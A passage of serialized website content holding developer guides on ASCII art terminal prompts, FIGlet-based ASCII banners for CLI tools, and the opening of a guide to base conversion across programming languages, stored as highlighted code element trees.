decorations\n",[1560,8793,8794,8797,8799],{"class":1562,"line":2534},[1560,8795,8796],{"class":1570},"PS1",[1560,8798,7297],{"class":1669},[1560,8800,8801],{"class":5634},"'\\[\\033[1;32m\\]┌──\\[\\033[1;34m\\](\\w)\\[\\033[0m\\]\\n\\[\\033[1;32m\\]└─\\[\\033[1;36m\\]$ \\[\\033[0m\\]'\n",[16,8803,8804],{},"This creates a two-line prompt with a box-drawing frame:",[135,8806,8809],{"className":8807,"code":8808,"language":140},[138],"┌──(\u002Fhome\u002Fuser\u002Fprojects)\n└─$ \n",[143,8810,8808],{"__ignoreMap":141},[16,8812,8813,8814,1459,8816,1459,8818,1459,8820,8822],{},"Box-drawing characters (",[143,8815,7849],{},[143,8817,7875],{},[143,8819,7823],{},[143,8821,7836],{},") are part of the standard terminal character set and render correctly on virtually all systems.",[11,8824,8826],{"id":8825},"design-principles-for-ascii-prompts","Design Principles for ASCII Prompts",[16,8828,8829],{},"A good ASCII prompt balances personality with usability:",[77,8831,8832,8838,8848,8854,8860],{},[44,8833,8834,8837],{},[47,8835,8836],{},"Keep it under three lines"," — tall prompts waste vertical space, especially in tiled terminal layouts",[44,8839,8840,8843,8844,8847],{},[47,8841,8842],{},"Test at narrow widths"," — ASCII art breaks when the terminal is narrower than the art; use ",[143,8845,8846],{},"tput cols"," to adapt",[44,8849,8850,8853],{},[47,8851,8852],{},"Avoid color dependence"," — make prompts readable in monochrome terminals; color should enhance, not carry meaning alone",[44,8855,8856,8859],{},[47,8857,8858],{},"Use standard characters"," — box-drawing and block elements render consistently; custom font glyphs require Nerd Fonts",[44,8861,8862,8865],{},[47,8863,8864],{},"Separate banner from prompt"," — show ASCII art once on session start, keep the recurring prompt minimal",[11,8867,1355],{"id":1354},[41,8869,8870,8873,8876,8879,8882,8885],{},[44,8871,8872],{},"Custom prompts provide visual context — machine identity, git status, language versions — at a glance",[44,8874,8875],{},"Starship is the most portable option, working across Bash, Zsh, Fish, and PowerShell",[44,8877,8878],{},"Powerlevel10k offers the deepest Zsh integration with instant prompt and transient prompt features",[44,8880,8881],{},"Custom PS1 scripts work without dependencies but require manual maintenance",[44,8883,8884],{},"Keep ASCII banners compact, test at narrow terminal widths, and ensure readability without color",[44,8886,8887],{},"Box-drawing characters are the safest choice for cross-terminal compatibility",[11,8889,321],{"id":320},[41,8891,8892,8897,8902],{},[44,8893,8894],{},[98,8895,8896],{"href":7145},"ASCII Art Guide: Creating Text-Based Visuals",[44,8898,8899],{},[98,8900,8901],{"href":7103},"FIGlet Fonts Explained: How ASCII Text Banners Work",[44,8903,8904],{},[98,8905,8907],{"href":8906},"\u002Fguides\u002Fascii-banners-cli-tools","Creating ASCII Banners for CLI Tools",[11,8909,286],{"id":285},[16,8911,8912,8913,8916],{},"Design your own ASCII art with our free ",[98,8914,8915],{"href":7120},"ASCII Art"," generator. Enter any text, choose a FIGlet font, and copy the result to customize your terminal prompt or CLI tool splash screen.",[2043,8918,8919],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}",{"title":141,"searchDepth":337,"depth":337,"links":8921},[8922,8923,8924,8925,8926,8927,8928,8929],{"id":8377,"depth":337,"text":8378},{"id":8413,"depth":337,"text":8414},{"id":8598,"depth":337,"text":8599},{"id":8686,"depth":337,"text":8687},{"id":8825,"depth":337,"text":8826},{"id":1354,"depth":337,"text":1355},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Learn how to add ASCII art to your terminal prompt — Starship, Powerlevel10k, custom PS1 scripts, and tips for readable, functional prompt designs.",{"immutable":363},"\u002Fguides\u002Fascii-art-terminal-prompts",{"title":8365,"description":8930},"guides\u002Fascii-art-terminal-prompts","cgNELvMLkgwPNp7tPvOAct78uLsuuKj-Bh960vuR0jc",{"id":8937,"title":8938,"body":8939,"date":2070,"description":9789,"extension":361,"meta":9790,"navigation":363,"path":8906,"readingTime":1710,"seo":9791,"stem":9792,"__hash__":9793},"guides\u002Fguides\u002Fascii-banners-cli-tools.md","Creating ASCII Banners for CLI Tools: Splash Screens and Help Text",{"type":8,"value":8940,"toc":9779},[8941,8953,8957,8960,8986,8999,9003,9006,9063,9065,9071,9074,9163,9166,9170,9173,9276,9279,9305,9309,9312,9318,9474,9480,9486,9491,9585,9591,9595,9675,9678,9696,9730,9732,9752,9754,9768,9770,9776],[16,8942,8943,8944,1459,8947,1877,8950,8952],{},"ASCII banners are the signature visual element of command-line tools. When someone runs ",[143,8945,8946],{},"nuxt",[143,8948,8949],{},"deno",[143,8951,7599],{},", the ASCII banner establishes identity before any output appears. Well-designed banners make your CLI tool feel polished and professional; poorly designed ones create alignment issues and encoding headaches.",[11,8954,8956],{"id":8955},"why-cli-tools-use-ascii-banners","Why CLI Tools Use ASCII Banners",[16,8958,8959],{},"ASCII banners serve several practical functions in CLI tools:",[41,8961,8962,8968,8974,8980],{},[44,8963,8964,8967],{},[47,8965,8966],{},"Brand recognition"," — users instantly identify the tool from the banner, even in shared screen recordings",[44,8969,8970,8973],{},[47,8971,8972],{},"Version display"," — banners often incorporate the version number, making bug reports more accurate",[44,8975,8976,8979],{},[47,8977,8978],{},"Session framing"," — a banner marks the boundary between shell commands and tool output",[44,8981,8982,8985],{},[47,8983,8984],{},"Onboarding cue"," — for interactive tools, the banner signals that the program is running and waiting for input",[16,8987,8988,8989,1459,8992,1459,8995,8998],{},"Not every CLI tool needs a banner. Short-lived commands (",[143,8990,8991],{},"ls",[143,8993,8994],{},"grep",[143,8996,8997],{},"cat",") should print output and exit immediately. Banners make sense for interactive tools, long-running processes, and commands that start a distinct session.",[11,9000,9002],{"id":9001},"figlet-and-banner-generators","FIGlet and Banner Generators",[16,9004,9005],{},"FIGlet is the original ASCII text banner tool, created in 1991. It reads a font definition and renders input text as large ASCII letters.",[135,9007,9009],{"className":6951,"code":9008,"language":6953,"meta":141,"style":141},"# Install FIGlet\napt install figlet     # Debian\u002FUbuntu\nbrew install figlet    # macOS\n\n# Generate a banner\nfiglet -f slant \"MyTool\"\n",[143,9010,9011,9016,9030,9042,9046,9051],{"__ignoreMap":141},[1560,9012,9013],{"class":1562,"line":1563},[1560,9014,9015],{"class":1649},"# Install FIGlet\n",[1560,9017,9018,9021,9024,9027],{"class":1562,"line":337},[1560,9019,9020],{"class":1566},"apt",[1560,9022,9023],{"class":5634}," install",[1560,9025,9026],{"class":5634}," figlet",[1560,9028,9029],{"class":1649},"     # Debian\u002FUbuntu\n",[1560,9031,9032,9035,9037,9039],{"class":1562,"line":343},[1560,9033,9034],{"class":1566},"brew",[1560,9036,9023],{"class":5634},[1560,9038,9026],{"class":5634},[1560,9040,9041],{"class":1649},"    # macOS\n",[1560,9043,9044],{"class":1562,"line":365},[1560,9045,1702],{"emptyLinePlaceholder":363},[1560,9047,9048],{"class":1562,"line":889},[1560,9049,9050],{"class":1649},"# Generate a banner\n",[1560,9052,9053,9055,9057,9060],{"class":1562,"line":1710},[1560,9054,6960],{"class":1566},[1560,9056,8091],{"class":1576},[1560,9058,9059],{"class":5634}," slant",[1560,9061,9062],{"class":5634}," \"MyTool\"\n",[16,9064,6966],{},[135,9066,9069],{"className":9067,"code":9068,"language":140},[138],"   __  __       _\n  |  \\\u002F  | __ _| |_ ___ _ __\n  | |\\\u002F| |\u002F _` | __\u002F _ \\ '__|\n  | |  | | (_| | ||  __\u002F |\n  |_|  |_|\\__,_|\\__\\___|_|\n",[143,9070,9068],{"__ignoreMap":141},[16,9072,9073],{},"FIGlet includes over 300 built-in fonts. Popular choices for CLI tools:",[193,9075,9076,9088],{},[196,9077,9078],{},[199,9079,9080,9083,9086],{},[202,9081,9082],{},"Font",[202,9084,9085],{},"Style",[202,9087,489],{},[211,9089,9090,9102,9114,9126,9137,9150],{},[199,9091,9092,9096,9099],{},[216,9093,9094],{},[143,9095,7649],{},[216,9097,9098],{},"Italic, compact",[216,9100,9101],{},"Modern tools, dev utilities",[199,9103,9104,9108,9111],{},[216,9105,9106],{},[143,9107,7664],{},[216,9109,9110],{},"Blocky, wide",[216,9112,9113],{},"High-impact splash screens",[199,9115,9116,9120,9123],{},[216,9117,9118],{},[143,9119,7695],{},[216,9121,9122],{},"Compact, readable",[216,9124,9125],{},"Tools with limited terminal space",[199,9127,9128,9132,9135],{},[216,9129,9130],{},[143,9131,7633],{},[216,9133,9134],{},"Classic, balanced",[216,9136,7636],{},[199,9138,9139,9144,9147],{},[216,9140,9141],{},[143,9142,9143],{},"shadow",[216,9145,9146],{},"3D shadow effect",[216,9148,9149],{},"Eye-catching branding",[199,9151,9152,9157,9160],{},[216,9153,9154],{},[143,9155,9156],{},"graffiti",[216,9158,9159],{},"Thick, rounded",[216,9161,9162],{},"Casual or creative tools",[16,9164,9165],{},"You can browse and preview all FIGlet fonts using our ASCII Art generator tool.",[11,9167,9169],{"id":9168},"embedding-banners-in-your-tool","Embedding Banners in Your Tool",[16,9171,9172],{},"For production CLI tools, embed the banner as a string constant rather than depending on FIGlet at runtime:",[135,9174,9176],{"className":1607,"code":9175,"language":1609,"meta":141,"style":141},"\u002F\u002F banners.js\nexport const BANNER = `\n  ╔════════════════════════════════════╗\n  ║   __  __       _                  ║\n  ║  |  \\\\\u002F  | __ _| |_ ___ _ __       ║\n  ║  | |\\\\\u002F| |\u002F _\\` | __\u002F _ \\\\ '__|      ║\n  ║  | |  | | (_| | ||  __\u002F |         ║\n  ║  |_|  |_|\\\\__,_|\\\\__\\\\___|_|  v1.0   ║\n  ╚════════════════════════════════════╝\n`\n",[143,9177,9178,9183,9199,9204,9209,9220,9241,9246,9266,9271],{"__ignoreMap":141},[1560,9179,9180],{"class":1562,"line":1563},[1560,9181,9182],{"class":1649},"\u002F\u002F banners.js\n",[1560,9184,9185,9188,9191,9194,9196],{"class":1562,"line":337},[1560,9186,9187],{"class":1669},"export",[1560,9189,9190],{"class":1669}," const",[1560,9192,9193],{"class":1576}," BANNER",[1560,9195,8186],{"class":1669},[1560,9197,9198],{"class":5634}," `\n",[1560,9200,9201],{"class":1562,"line":343},[1560,9202,9203],{"class":5634},"  ╔════════════════════════════════════╗\n",[1560,9205,9206],{"class":1562,"line":365},[1560,9207,9208],{"class":5634},"  ║   __  __       _                  ║\n",[1560,9210,9211,9214,9217],{"class":1562,"line":889},[1560,9212,9213],{"class":5634},"  ║  |  ",[1560,9215,9216],{"class":1576},"\\\\",[1560,9218,9219],{"class":5634},"\u002F  | __ _| |_ ___ _ __       ║\n",[1560,9221,9222,9225,9227,9230,9233,9236,9238],{"class":1562,"line":1710},[1560,9223,9224],{"class":5634},"  ║  | |",[1560,9226,9216],{"class":1576},[1560,9228,9229],{"class":5634},"\u002F| |\u002F _",[1560,9231,9232],{"class":1576},"\\`",[1560,9234,9235],{"class":5634}," | __\u002F _ ",[1560,9237,9216],{"class":1576},[1560,9239,9240],{"class":5634}," '__|      ║\n",[1560,9242,9243],{"class":1562,"line":1717},[1560,9244,9245],{"class":5634},"  ║  | |  | | (_| | ||  __\u002F |         ║\n",[1560,9247,9248,9251,9253,9256,9258,9261,9263],{"class":1562,"line":1747},[1560,9249,9250],{"class":5634},"  ║  |_|  |_|",[1560,9252,9216],{"class":1576},[1560,9254,9255],{"class":5634},"__,_|",[1560,9257,9216],{"class":1576},[1560,9259,9260],{"class":5634},"__",[1560,9262,9216],{"class":1576},[1560,9264,9265],{"class":5634},"___|_|  v1.0   ║\n",[1560,9267,9268],{"class":1562,"line":2507},[1560,9269,9270],{"class":5634},"  ╚════════════════════════════════════╝\n",[1560,9272,9273],{"class":1562,"line":2524},[1560,9274,9275],{"class":5634},"`\n",[16,9277,9278],{},"This approach has several advantages:",[41,9280,9281,9287,9293,9299],{},[44,9282,9283,9286],{},[47,9284,9285],{},"Zero dependencies"," — no FIGlet binary required on the user's machine",[44,9288,9289,9292],{},[47,9290,9291],{},"Deterministic output"," — the banner looks identical on every system",[44,9294,9295,9298],{},[47,9296,9297],{},"Fast startup"," — no font loading or rendering at runtime",[44,9300,9301,9304],{},[47,9302,9303],{},"Customizable"," — you can hand-tweak alignment, add borders, or embed version numbers",[11,9306,9308],{"id":9307},"layout-and-alignment-techniques","Layout and Alignment Techniques",[16,9310,9311],{},"ASCII banners must respect the terminal width. Standard terminals are 80 columns wide; modern setups often use 120–180 columns. Design for the minimum.",[16,9313,9314,9317],{},[47,9315,9316],{},"Padding",": Center the banner with equal left\u002Fright margins:",[135,9319,9321],{"className":1607,"code":9320,"language":1609,"meta":141,"style":141},"function centerBanner(banner, width = 80) {\n  return banner.split('\\n').map(line => {\n    const padding = Math.max(0, Math.floor((width - line.length) \u002F 2))\n    return ' '.repeat(padding) + line\n  }).join('\\n')\n}\n",[143,9322,9323,9346,9381,9430,9452,9470],{"__ignoreMap":141},[1560,9324,9325,9327,9330,9332,9334,9336,9338,9340,9343],{"class":1562,"line":1563},[1560,9326,8648],{"class":1669},[1560,9328,9329],{"class":1566}," centerBanner",[1560,9331,1688],{"class":1570},[1560,9333,7664],{"class":2219},[1560,9335,1459],{"class":1570},[1560,9337,1870],{"class":2219},[1560,9339,8186],{"class":1669},[1560,9341,9342],{"class":1576}," 80",[1560,9344,9345],{"class":1570},") {\n",[1560,9347,9348,9351,9354,9357,9359,9362,9364,9366,9369,9372,9374,9376,9379],{"class":1562,"line":337},[1560,9349,9350],{"class":1669},"  return",[1560,9352,9353],{"class":1570}," banner.",[1560,9355,9356],{"class":1566},"split",[1560,9358,1688],{"class":1570},[1560,9360,9361],{"class":5634},"'",[1560,9363,8222],{"class":1576},[1560,9365,9361],{"class":5634},[1560,9367,9368],{"class":1570},").",[1560,9370,9371],{"class":1566},"map",[1560,9373,1688],{"class":1570},[1560,9375,1562],{"class":2219},[1560,9377,9378],{"class":1669}," =>",[1560,9380,1571],{"class":1570},[1560,9382,9383,9386,9389,9391,9394,9397,9399,9401,9404,9407,9410,9413,9416,9419,9421,9424,9427],{"class":1562,"line":343},[1560,9384,9385],{"class":1669},"    const",[1560,9387,9388],{"class":1576}," padding",[1560,9390,8186],{"class":1669},[1560,9392,9393],{"class":1570}," Math.",[1560,9395,9396],{"class":1566},"max",[1560,9398,1688],{"class":1570},[1560,9400,5285],{"class":1576},[1560,9402,9403],{"class":1570},", Math.",[1560,9405,9406],{"class":1566},"floor",[1560,9408,9409],{"class":1570},"((width ",[1560,9411,9412],{"class":1669},"-",[1560,9414,9415],{"class":1570}," line.",[1560,9417,9418],{"class":1576},"length",[1560,9420,1733],{"class":1570},[1560,9422,9423],{"class":1669},"\u002F",[1560,9425,9426],{"class":1576}," 2",[1560,9428,9429],{"class":1570},"))\n",[1560,9431,9432,9435,9438,9440,9443,9446,9449],{"class":1562,"line":365},[1560,9433,9434],{"class":1669},"    return",[1560,9436,9437],{"class":5634}," ' '",[1560,9439,468],{"class":1570},[1560,9441,9442],{"class":1566},"repeat",[1560,9444,9445],{"class":1570},"(padding) ",[1560,9447,9448],{"class":1669},"+",[1560,9450,9451],{"class":1570}," line\n",[1560,9453,9454,9457,9460,9462,9464,9466,9468],{"class":1562,"line":889},[1560,9455,9456],{"class":1570},"  }).",[1560,9458,9459],{"class":1566},"join",[1560,9461,1688],{"class":1570},[1560,9463,9361],{"class":5634},[1560,9465,8222],{"class":1576},[1560,9467,9361],{"class":5634},[1560,9469,8252],{"class":1570},[1560,9471,9472],{"class":1562,"line":1710},[1560,9473,1585],{"class":1570},[16,9475,9476,9479],{},[47,9477,9478],{},"Box drawing",": Add borders to frame the banner:",[135,9481,9484],{"className":9482,"code":9483,"language":140},[138],"┌──────────────────────────┐\n│  _   _      _            │\n│ | | | | ___| |_ __ ___  │\n│ | |_| |\u002F _ \\ | '_ ` _ \\ │\n│ |  _  |  __\u002F | | | | | |│\n│ |_| |_|\\___|_|_| |_| |_|│\n└──────────────────────────┘\n",[143,9485,9483],{"__ignoreMap":141},[16,9487,9488,9490],{},[47,9489,4231],{},": Use ANSI escape codes for colored banners:",[135,9492,9494],{"className":1607,"code":9493,"language":1609,"meta":141,"style":141},"const cyan = '\\x1b[36m'\nconst bold = '\\x1b[1m'\nconst reset = '\\x1b[0m'\n\nconsole.log(`${bold}${cyan}${BANNER}${reset}`)\n",[143,9495,9496,9514,9530,9546,9550],{"__ignoreMap":141},[1560,9497,9498,9500,9503,9505,9508,9511],{"class":1562,"line":1563},[1560,9499,8180],{"class":1669},[1560,9501,9502],{"class":1576}," cyan",[1560,9504,8186],{"class":1669},[1560,9506,9507],{"class":5634}," '",[1560,9509,9510],{"class":1576},"\\x1b",[1560,9512,9513],{"class":5634},"[36m'\n",[1560,9515,9516,9518,9521,9523,9525,9527],{"class":1562,"line":337},[1560,9517,8180],{"class":1669},[1560,9519,9520],{"class":1576}," bold",[1560,9522,8186],{"class":1669},[1560,9524,9507],{"class":5634},[1560,9526,9510],{"class":1576},[1560,9528,9529],{"class":5634},"[1m'\n",[1560,9531,9532,9534,9537,9539,9541,9543],{"class":1562,"line":343},[1560,9533,8180],{"class":1669},[1560,9535,9536],{"class":1576}," reset",[1560,9538,8186],{"class":1669},[1560,9540,9507],{"class":5634},[1560,9542,9510],{"class":1576},[1560,9544,9545],{"class":5634},"[0m'\n",[1560,9547,9548],{"class":1562,"line":365},[1560,9549,1702],{"emptyLinePlaceholder":363},[1560,9551,9552,9554,9556,9558,9561,9564,9567,9570,9572,9575,9577,9580,9583],{"class":1562,"line":889},[1560,9553,8211],{"class":1570},[1560,9555,8214],{"class":1566},[1560,9557,1688],{"class":1570},[1560,9559,9560],{"class":5634},"`${",[1560,9562,9563],{"class":1570},"bold",[1560,9565,9566],{"class":5634},"}${",[1560,9568,9569],{"class":1570},"cyan",[1560,9571,9566],{"class":5634},[1560,9573,9574],{"class":1576},"BANNER",[1560,9576,9566],{"class":5634},[1560,9578,9579],{"class":1570},"reset",[1560,9581,9582],{"class":5634},"}`",[1560,9584,8252],{"class":1570},[16,9586,9587,9588,9590],{},"Always pair colors with the ",[143,9589,9579],{}," code to avoid bleeding color into subsequent output.",[11,9592,9594],{"id":9593},"conventions-from-popular-cli-tools","Conventions From Popular CLI Tools",[193,9596,9597,9609],{},[196,9598,9599],{},[199,9600,9601,9603,9606],{},[202,9602,751],{},[202,9604,9605],{},"Banner Style",[202,9607,9608],{},"Key Pattern",[211,9610,9611,9624,9637,9650,9662],{},[199,9612,9613,9618,9621],{},[216,9614,9615],{},[47,9616,9617],{},"Nuxt",[216,9619,9620],{},"ASCII art + version",[216,9622,9623],{},"Right-aligned version number",[199,9625,9626,9631,9634],{},[216,9627,9628],{},[47,9629,9630],{},"Next.js",[216,9632,9633],{},"Minimal ASCII",[216,9635,9636],{},"▲ triangle symbol as brand mark",[199,9638,9639,9644,9647],{},[216,9640,9641],{},[47,9642,9643],{},"Vite",[216,9645,9646],{},"Colored ASCII",[216,9648,9649],{},"Gradient color scheme",[199,9651,9652,9656,9659],{},[216,9653,9654],{},[47,9655,7005],{},[216,9657,9658],{},"ASCII distro logo",[216,9660,9661],{},"Logo on left, system info on right",[199,9663,9664,9669,9672],{},[216,9665,9666],{},[47,9667,9668],{},"Deno",[216,9670,9671],{},"Spiky ASCII",[216,9673,9674],{},"Single-color, compact",[16,9676,9677],{},"Common patterns:",[41,9679,9680,9683,9686,9693],{},[44,9681,9682],{},"Version numbers aligned to the right side of the banner",[44,9684,9685],{},"Single bold color rather than rainbow effects",[44,9687,9688,9689,9692],{},"Banner appears only on interactive start, not in piped output (",[143,9690,9691],{},"isatty"," check)",[44,9694,9695],{},"Help commands include a smaller version of the banner",[135,9697,9699],{"className":1607,"code":9698,"language":1609,"meta":141,"style":141},"\u002F\u002F Only show banner in interactive terminals\nif (process.stdout.isTTY) {\n  console.log(BANNER)\n}\n",[143,9700,9701,9706,9713,9726],{"__ignoreMap":141},[1560,9702,9703],{"class":1562,"line":1563},[1560,9704,9705],{"class":1649},"\u002F\u002F Only show banner in interactive terminals\n",[1560,9707,9708,9710],{"class":1562,"line":337},[1560,9709,8052],{"class":1669},[1560,9711,9712],{"class":1570}," (process.stdout.isTTY) {\n",[1560,9714,9715,9718,9720,9722,9724],{"class":1562,"line":343},[1560,9716,9717],{"class":1570},"  console.",[1560,9719,8214],{"class":1566},[1560,9721,1688],{"class":1570},[1560,9723,9574],{"class":1576},[1560,9725,8252],{"class":1570},[1560,9727,9728],{"class":1562,"line":365},[1560,9729,1585],{"class":1570},[11,9731,1355],{"id":1354},[41,9733,9734,9737,9740,9743,9746,9749],{},[44,9735,9736],{},"ASCII banners establish brand identity and session framing for CLI tools",[44,9738,9739],{},"FIGlet generates text banners in many styles — embed the result as a constant rather than depending on FIGlet at runtime",[44,9741,9742],{},"Design for 80-column terminals and center-align with padding",[44,9744,9745],{},"Use box-drawing characters for clean borders and ANSI codes for color",[44,9747,9748],{},"Only display banners in interactive terminals — skip them when output is piped",[44,9750,9751],{},"Popular tools pair compact ASCII art with a version number and a single accent color",[11,9753,321],{"id":320},[41,9755,9756,9760,9764],{},[44,9757,9758],{},[98,9759,8896],{"href":7145},[44,9761,9762],{},[98,9763,8901],{"href":7103},[44,9765,9766],{},[98,9767,8365],{"href":8932},[11,9769,286],{"id":285},[16,9771,9772,9773,9775],{},"Generate ASCII banners for your CLI tools with our free ",[98,9774,8915],{"href":7120}," generator. Enter your tool name, preview it in dozens of FIGlet fonts, and copy the result directly into your source code.",[2043,9777,9778],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}",{"title":141,"searchDepth":337,"depth":337,"links":9780},[9781,9782,9783,9784,9785,9786,9787,9788],{"id":8955,"depth":337,"text":8956},{"id":9001,"depth":337,"text":9002},{"id":9168,"depth":337,"text":9169},{"id":9307,"depth":337,"text":9308},{"id":9593,"depth":337,"text":9594},{"id":1354,"depth":337,"text":1355},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Design ASCII banners for command-line tools — FIGlet fonts, layout techniques, and conventions for CLI splash screens and help output.",{"immutable":363},{"title":8938,"description":9789},"guides\u002Fascii-banners-cli-tools","NX-ABGXPAILx8Tr5b3wmIadIBJPGTUjdf75K_5Fh9VQ",{"id":9795,"title":9796,"body":9797,"date":2070,"description":10596,"extension":361,"meta":10597,"navigation":363,"path":10598,"readingTime":1717,"seo":10599,"stem":10600,"__hash__":10601},"guides\u002Fguides\u002Fbase-conversion-programming-languages.md","Base Conversion in Programming Languages: A Practical Guide",{"type":8,"value":9798,"toc":10574},[9799,9803,9806,9809,9813,9816,9936,9938,9948,10016,10019,10021,10032,10168,10183,10186,10196,10244,10253,10257,10260,10264,10267,10336,10340,10343,10390,10394,10398,10408,10412,10422,10426,10438,10442,10453,10457,10460,10510,10513,10515,10539,10541,10561,10563,10571],[11,9800,9802],{"id":9801},"why-base-conversion-matters-in-programming","Why Base Conversion Matters in Programming",[16,9804,9805],{},"Every programming language stores numbers internally in binary, but developers work with decimal, hexadecimal, octal, and binary representations depending on the task. Color codes use hex. File permissions use octal. Bit masks use binary. Configuration values might arrive as hex strings from an API.",[16,9807,9808],{},"Knowing how to convert between bases in your language of choice — and understanding what happens under the hood — prevents subtle bugs like integer overflow, string formatting errors, and silent truncation.",[11,9810,9812],{"id":9811},"built-in-conversion-functions","Built-in Conversion Functions",[16,9814,9815],{},"Most languages provide built-in support for common base conversions. Here's a quick reference:",[193,9817,9818,9834],{},[196,9819,9820],{},[199,9821,9822,9825,9828,9831],{},[202,9823,9824],{},"Language",[202,9826,9827],{},"Decimal → Hex",[202,9829,9830],{},"Decimal → Binary",[202,9832,9833],{},"Hex → Decimal",[211,9835,9836,9856,9876,9896,9916],{},[199,9837,9838,9841,9846,9851],{},[216,9839,9840],{},"Python",[216,9842,9843],{},[143,9844,9845],{},"hex(n)",[216,9847,9848],{},[143,9849,9850],{},"bin(n)",[216,9852,9853],{},[143,9854,9855],{},"int(s, 16)",[199,9857,9858,9861,9866,9871],{},[216,9859,9860],{},"JavaScript",[216,9862,9863],{},[143,9864,9865],{},"n.toString(16)",[216,9867,9868],{},[143,9869,9870],{},"n.toString(2)",[216,9872,9873],{},[143,9874,9875],{},"parseInt(s, 16)",[199,9877,9878,9881,9886,9891],{},[216,9879,9880],{},"Java",[216,9882,9883],{},[143,9884,9885],{},"Integer.toHexString(n)",[216,9887,9888],{},[143,9889,9890],{},"Integer.toBinaryString(n)",[216,9892,9893],{},[143,9894,9895],{},"Integer.parseInt(s, 16)",[199,9897,9898,9901,9906,9911],{},[216,9899,9900],{},"Go",[216,9902,9903],{},[143,9904,9905],{},"fmt.Sprintf(\"%x\", n)",[216,9907,9908],{},[143,9909,9910],{},"fmt.Sprintf(\"%b\", n)",[216,9912,9913],{},[143,9914,9915],{},"strconv.ParseInt(s, 16, 0)",[199,9917,9918,9921,9926,9931],{},[216,9919,9920],{},"Rust",[216,9922,9923],{},[143,9924,9925],{},"format!(\"{:x}\", n)",[216,9927,9928],{},[143,9929,9930],{},"format!(\"{:b}\", n)",[216,9932,9933],{},[143,9934,9935],{},"u32::from_str_radix(s, 16)",[33,9937,9840],{"id":8261},[16,9939,9940,9941,1856,9944,9947],{},"Python makes base conversion straightforward with ",[143,9942,9943],{},"int()",[143,9945,9946],{},"toString()"," variants:",[135,9949,9951],{"className":8259,"code":9950,"language":8261,"meta":141,"style":141},"# Parse any base to decimal\nint('FF', 16)    # 255\nint('377', 8)    # 255\nint('11111111', 2)  # 255\n\n# Decimal to other bases (returns string with prefix)\nhex(255)   # '0xff'\noct(255)   # '0o377'\nbin(255)   # '0b11111111'\n\n# Format without prefix\nformat(255, 'x')  # 'ff'\nformat(255, 'b')  # '11111111'\n",[143,9952,9953,9958,9963,9968,9973,9977,9982,9987,9992,9997,10001,10006,10011],{"__ignoreMap":141},[1560,9954,9955],{"class":1562,"line":1563},[1560,9956,9957],{},"# Parse any base to decimal\n",[1560,9959,9960],{"class":1562,"line":337},[1560,9961,9962],{},"int('FF', 16)    # 255\n",[1560,9964,9965],{"class":1562,"line":343},[1560,9966,9967],{},"int('377', 8)    # 255\n",[1560,9969,9970],{"class":1562,"line":365},[1560,9971,9972],{},"int('11111111', 2)  # 255\n",[1560,9974,9975],{"class":1562,"line":889},[1560,9976,1702],{"emptyLinePlaceholder":363},[1560,9978,9979],{"class":1562,"line":1710},[1560,9980,9981],{},"# Decimal to other bases (returns string with prefix)\n",[1560,9983,9984],{"class":1562,"line":1717},[1560,9985,9986],{},"hex(255)   # '0xff'\n",[1560,9988,9989],{"class":1562,"line":1747},[1560,9990,9991],{},"oct(255)   # '0o377'\n",[1560,9993,9994],{"class":1562,"line":2507},[1560,9995,9996],{},"bin(255)   # '0b11111111'\n",[1560,9998,9999],{"class":1562,"line":2524},[1560,10000,1702],{"emptyLinePlaceholder":363},[1560,10002,10003],{"class":1562,"line":2529},[1560,10004,10005],{},"# Format without prefix\n",[1560,10007,10008],{"class":1562,"line":2534},[1560,10009,10010],{},"format(255, 'x')  # 'ff'\n",[1560,10012,10013],{"class":1562,"line":2542},[1560,10014,10015],{},"format(255, 